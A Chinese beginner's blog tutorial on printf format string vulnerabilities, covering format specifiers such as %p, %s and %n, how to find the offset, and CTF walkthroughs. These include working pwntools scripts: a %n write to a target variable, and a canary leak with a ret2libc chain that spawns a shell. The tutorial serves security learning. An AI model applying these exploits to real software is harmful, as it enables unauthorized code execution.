pwn知识——格式化字符串漏洞(萌新向)

发布时间 2023-11-30 21:56:46作者: Falling_Dusk

怎么说呢,这个东西感觉相当不好写,涉及到的知识点很多,不一定能讲明白,我自己写的话只能尽量往基础的知识点上写了,若有不准确之处,希望佬们能及时指出,让我加以修改。

格式化字符串漏洞

概念

格式化字符串漏洞的形成原因在于printf/fprintf/vsprintf等格式化字符串打印函数在接受可变参数时,因码农自己偷懒写,编写的形式不正确而形成的漏洞。当然,这是比较诙谐的说法。
真正形成的原因是,当初创建printf函数的这批人没有让printf去检测格式化字符串的占位符个数与参数个数是否相等。只要在执行printf时,每读取到一个占位符,就会到相应的地址里获取数据根据占位符的类型进行解码输出。所以即使你没有参数,它也是可以进行输出的
举个例子:
规范写法:printf("%s",true)
懒人:printf(true)
这个时候就产生了格式化字符串漏洞。
直观的来个代码

#include<stdio.h>
int main()
{
   int a = 233;
   printf("a=%d",a);
   return 0;
}

理所当然,最终打印出a=233
image
那如果我们这样呢?

#include<stdio.h>
int main()
{
   int a = 233;
   printf("a=%d");
   return 0;
}

那么就会出现一个很抽象的结果,至于为什么是负数,这就与补码有关了,只要知道这是个很大的数字,没记错的话,在十六进制里,这个数字是0xf开头,要么是动态链接库的地址,要么是栈的地址

与补码有关知识链接:https://blog.csdn.net/zk_lar/article/details/125072002

image
既然我们可以在没有参数的情况下读取到占位符里边的数据,那么我们就可以利用这一点来泄露某一函数的地址,canary的值甚至直接获得flag

格式化字符串

在写这个之前先叠个甲,因为这个是针对初学者的(包括博主自己也是初学者),所以有些概念可能会被简化甚至是忽略(因为初期确实不常用),主要写的都是在早期时常常用到的占位符。若有不正之处,还希望能够多多包涵。

基本格式

%[parameter][flags][field width][.precision][length]type

我们需要关注的是

parameter

 n$,获取格式化字符串中的指定参数,比如6$p表示从当前地址数起,获取往后偏移第6个字节长度的地址,类似于"%p%p%p%p%p%p",但是前五个"%p"不会生效
 如图所示

image

length

 h输出2字节
 hh输出1字节

field width

 输出的最小宽度

type(格式化字符串占位符类型)

%d/%i

输出有符号的十进制整数。

%u

输出无符号的十进制整数(可以默认为自然数)

%x/%X

输出十六进制数,且输出4字节
注:其输出的数值是不带"0x"开头

%lx

同%x,但输出的是8字节

%p

输出十六进制数据,附带"0x"开头,且x86下输出4字节,x64下输出8字节
常用于泄露地址

%x,%lx,%p的建议

多数情况下都建议用%p来泄露地址,既容易辨别出不同的地址(免得没有"0x"开头后混淆了),又可以不用考虑位数(x86,x64)的区别。除非某些题目实在太细了,细到需要靠%nx来泄露参数,否则都建议用%p进行地址泄露。

%s

输出字符串。也就是在进入对应地址之后将地址之中保存的值解析并输出出来。比如0x4040c0里有存有flag的值,则可以通过%s通过偏移计算来获取flag的值。
常用于简单的格式化字符串漏洞题中直接获取flag的值,或者是泄露某函数在got表里的真实地址,然后又可以用快乐的ret2libc手法进行攻击了
注:%s会有零截断,比如0x00402004%s,在遇到x00后后边会无法读取,造成泄露失败,所以还是得根据情况使用%s。另外,当%s读取的是非法地址(如非用户态所能进行读取的地址,也就是权限不够;或者本身地址就是错误的等等)时,程序会崩溃,所以一般情况下不用%s%s%s%s这样的形式进行数据读取

%c

输出字符。比如%100c,会填充100个'\x00'字符,可用于快速覆盖
具体的展示效果如下

#inclde<stdio.h>
int main()
{
    printf("%100ctest!\n");
	return 0;
}

image
常与%n搭配向特定地址写入数据(写入数据是%n的功能,%c是为了快速到达该地址,类似填充垃圾值)

%n

将%n前的已成功打印出的字符个数写入指针所指向的地址内,且写入的字节大小为4字节
比如:

#include<stdio.h>
int main()
{
	int a;
	printf("test%n\n", &a);
	printf("The number of a is %d", a);
	return 0;
}

效果为往a所处的地址内写入4(t,e,s,t的字符个数为4),近似于*a = 4这一表达式
image
如果缺少参数

#include<stdio.h>
int main()
{
	int a;
	printf("test%n\n");
	printf("The number of a is %d", a);
	return 0;
}

则会将4写入到"test%n"上面一格的内存当中,而a无变化
image
故%n常常用来篡改某一地址的内容,也是格式化字符串漏洞的核心攻击方式之一

①%n的衍生

1.%hn-->2字节
2.%hhn-->1字节
3.%ln-->32位4字节,64位8字节
4.%lln-->8字节

②%n及其衍生的使用小建议

在攻击的时候,原则上是能使用hhn绝不用hn,能使用hn绝不用n,这是有原因的。一是因为一个%n传输的是int大小的字符个数,会使printf输出大量的字符数量,可能造成程序崩溃。二是因为在输出大量的字符数量后,自己也不好接收数据,很难做到精确控制我们需要修改的地方。所以一般来说我们都是%hhn和%hn结合使用的,使数据更加稳定可控

这些基本就是利用格式化字符串漏洞的时候会用上的占位符,其中以%p,%s.%n最为重要%c可以起很好的辅助作用

攻击手法

①.通过IDA(或者其它能反编译的工具)寻找有格式化字符串漏洞的函数

形如:

         printf(&buf)
	\*or*\
	 printf(buf)
	 \\其实这两个都是一个意思,只不过看你的反编译器怎么显示

②.找到漏洞函数后,通过nc连接后,求偏移量

求偏移量我们常常使用"AAAA"作为定位符,然后用"%p-%p-%p-%p-%p..."泄露地址求取偏移量("-"并无实际意义,只是把地址分隔开,便于数出偏移量),因为定位符是"A...",所以当我们看到地址里有形如"0x414141..."或"0x...4141..."这样的地址时,数出第一个地址到这一个地址的个数,这就是偏移量,是我们能够控制的参数
注:千万别数错了,我们求偏移量要求的是从格式化字符串的参数开始数起的,而不是从printf的第一个参数开始数的。以我②中为例子
"AAAA"是printf的第一个参数,而第一个"%p"才是我们的格式化字符串的第一个参数,如图
image
这就是求取偏移量的方法,在这里是偏移量为6,"nil"其实也是个地址,它的地址是0x0,但是它是显示不出来的,所以是显示为了"nil",不可忽略

③.因题而异

其实就没什么别的手法了,上面两个是最通用的了,剩下的攻击手法就是看题目让你做什么了,常见的有泄露canary值(%s),泄露libc地址(%p)或者覆盖内存(%n),没有个固定套路。

例题

①.[HNCTF 2022 Week1]fmtstrre(%s的基础应用)

首先我们checksec
image
嗯,NX保护开启,无法往栈上堆代码,Partial RELRO的开启让部分地址随机化,没法直接使用地址,再看看IDA代码
image
可以看到,它会尝试打开一个叫做"flag"的文件,并且把flag里的内容输出到name的地址里边,相当于给name赋值了。如果没有"flag"文件,就输出"Open failed"。然后我们就看到printf(buf),明显的格式化字符串漏洞,read函数可以泄露出printf里我们的可控参数,那么接下来思路就明了了,通过控制泄露出的可控参数,来打印出远端的"flag"内容
既然题目要求我们打开"flag",那我们就把ELF程序与自建的名为"flag"的文本放在同一个文件夹下
image
然后,首先计算出可控参数的偏移量nc然后爆破
image
通过计算可以得出在printf里的可控参数偏移量为6
接下来就是该动态调试了,确认&name在printf里的偏移量,断点下在read函数,然后在调用printf时进入stack中查看偏移量
image
可以看到,此时name相对rdi的偏移量为0x20,换算为十进制就是32,那么总体的偏移量就是32+6=38,于是我们就可以通过这个偏移量配合%s泄露出远端flag的值
此时,直接nc即可
image
这就直接拿到了flag的值,这既是%s的基础应用,直接拿取flag

②.CGfsb(%n的基础用法)

checksec
image
RELRO和NX开了,不多赘述,Canary也是开的,表明我们如果没法泄露出Canary的值就没办法进行栈溢出,但要不要这样做,还得看题目要求,先看题目代码
image
还是一眼看出格式化字符串漏洞,然后就是后面紧跟着“如果pwnme==8,你就可以拿到flag,否则啥也没有”的逻辑,那思路就是篡改pwnme地址里储存的值,将其改为8即可,那么现在就是要先拿到pwnme的地址,然后篡改里边的内容。IDA里很容易就能找到pwnme的地址
image
bss区可以理解为尚未赋值的区域,比如

 int a;
 scanf("%d",&a);

就像这里边的a,只是定义了a这个变量,但还等着你往里面输入数值呢。
好了,拿到地址后就该泄露printf里的可控参数了,nc,启动!
image
前边有演示过怎么数了,我这次就不p图了,随便数一下就能算出可控参数的偏移量为10,ok,现在就可以构造脚本了

from pwn import *
p = remote ('61.147.171.105',65204)
#offset = 10
pwnme_addr = 0x804A068
p.recvuntil("name:\n")
p.sendline("Dusk")
p.recvuntil("please:\n")
payload = p32(pwn_addr) + b'aaaa%10$n' #因为是32位,所以用p32打包,而p32占4字节,为了将pwnme赋值为8,我们需要填充垃圾数值,于是填充了'aaaa',这下就成功打印了8位数字了,于是使用%10$n(此时pwnme_addr位于printf的格式化字符串参数的第十个餐宿上)将pwnme赋值为8了
p.sendline(payload)
p.interactive()

运行脚本即可
image
这就是%n的基本用法,%n会有很多拓展题,比如连续的用%n赋不同数值,计算的偏移量会有所不同,不过这都是比较难的题了,博主本人也不会写,所以就写个基础格式化字符串漏洞题目,希望大家都能有所收获

③.[2021 鹤城杯]littleof(使用格式化字符串漏洞泄露Canary值)

懒了!
image
太喜欢,canary开了捏,栈溢出难用了捏,看看IDA代码吧~
image
image
看得出来,Canary的值被储存在了v3中,v3也包含在buf里,而第二个printf函数可以泄露出Canary值,那么我们现在要做的就是先确定v3相对于buf的偏移量确保不会冲掉Canary
image
image
可以算出offset = 0x50 - 0x08 == 0x48
获取偏移量后,我们就要开始泄露Canay的值了,要合理利用printf里给的%s,泄露出Canary的值,因为它会读取buf里所有值,所以它理所当然会读取到Canary的值,我们只需要从最后一个垃圾值开始接收数据就好,此时的脚本如下

from pwn import *
context(arch = "amd64",os = "linux",log_level= "debug")#开启debug是为了更好查看Canary的值是如何接收的
p = remote('node4.anna.nssctf.cn',28565)
offset_canary = 0x50 - 0x08 #result == 0x48
payload_canary = offset_canary * b'A'
p.recvuntil("Do you know how to do buffer overflow?\n")
p.sendline(payload_canary)
p.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")#在垃圾值之后开始接收Canary的数值,有个"\n"是因为sendline会发送一个"\n',不能让它影响后面的数据接收
canary_addr_first = u64(p.recv(7).rjust(8,b'\x00'))#虽然Canary占8字节,但是Canary默认是'\x00'结尾的,所以我们只用接收7字节,不过我到现在还没弄懂ljust和rjust填充'\x00'有什么区别,ljust过不了而rjust却能过
#log.success("Canary:"+(hex(canary_addr_first)))

在获取Canary值后,就可以进行栈溢出了。但是从刚刚IDA里我们没有找到后门函数,里边也没有system函数和bin/sh,那这又是激动人心的ret2libc环节,好耶!
那么又是ROPgadget起手时刻!
image
OK,是心动的感觉,又可以构造脚本了~

#这是包含上边的脚本的!为了便于理解所以分了两次来写
from LibcSearcher import LibcSearcher
elf = ELF('./2021_鹤城杯_littleof')
rdi_ret_addr = 0x400863
ret_addr = 0x40059e 
> 需要ret的原因见我上一篇博客ret2libc:https://www.cnblogs.com/falling-dusk/p/17856141.html#需要ret的原因见我上一篇博客ret2libc:https://www.cnblogs.com/falling-dusk/p/17856141.html
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400789
payload_overflow_first = offset_canary * b'A' + p64(canary_addr_first) + 0x08 * b'A' + p64(rdi_ret_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) #泄露出puts函数的真实地址并跳转回main进行循环
p.recvuntil(b'Try harder!')
p.sendline(payload_overflow_first)
p.recvuntil("I hope you win\n")
real_puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))#接收puts函数的真实地址
libc = LibcSearcher('puts',real_puts_addr)#libc.so版本搜寻
libc_base = real_puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
p.recvuntil("Do you know how to do buffer overflow?\n")
p.sendline(payload_canary)
p.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")
canary_addr_second = u64(p.recv(7).rjust(8,b'\x00'))#因为每次装载程序时地址都会随机化,同样Canary值也会改变,所以还需要再泄露一遍
payload_overflow_second = offset_canary * b'A' + p64(canary_addr_second) + 0x08 * b'A' + p64(ret_addr) + p64(rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
p.recvuntil(b'Try harder!')
p.sendline(payload_overflow_second)
p.interactive()

这是分两次的脚本,合起来如下

from pwn import *
from LibcSearcher import LibcSearcher 
context(arch = "amd64",os = "linux",log_level= "debug")
p = remote('node4.anna.nssctf.cn',28565) 
elf = ELF('./2021_鹤城杯_littleof')
offset_canary = 0x50 - 0x08 #result == 0x48
payload_canary = offset_canary * b'A'
rdi_ret_addr = 0x400863
ret_addr = 0x40059e
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400789
p.recvuntil("Do you know how to do buffer overflow?\n")
p.sendline(payload_canary)
p.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")
canary_addr_first = u64(p.recv(7).rjust(8,b'\x00'))
log.success("Canary:"+(hex(canary_addr_first)))
payload_overflow_first = offset_canary * b'A' + p64(canary_addr_first) + 0x08 * b'A' + p64(rdi_ret_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.recvuntil(b'Try harder!')
p.sendline(payload_overflow_first)
p.recvuntil("I hope you win\n")
real_puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('puts',real_puts_addr)
libc_base = real_puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
p.recvuntil("Do you know how to do buffer overflow?\n")
p.sendline(payload_canary)
p.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")
canary_addr_second = u64(p.recv(7).rjust(8,b'\x00'))
payload_overflow_second = offset_canary * b'A' + p64(canary_addr_second) + 0x08 * b'A' + p64(ret_addr) + p64(rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
p.recvuntil(b'Try harder!')
p.sendline(payload_overflow_second)
p.interactive()

运行脚本,选对libc.so的版本即可
image

总结:

虽然各位佬都说格式化字符串漏洞很简单,但我真不这么觉得,我总觉得这比我当初学ret2libc还,这个的攻击手法更多,而且需要的操作控制也更精细,难度就非常灵活,简单的确实就是跟基础题差不多,难的就是要各种调试,计算不同的偏移量,控制输出程度,总体而言非常的费脑细胞,让我非常痛苦,我只希望在接下来的时间里能更加熟练格式化字符串,争取做出更多的题,这样我才有信心去学习堆啊(悲)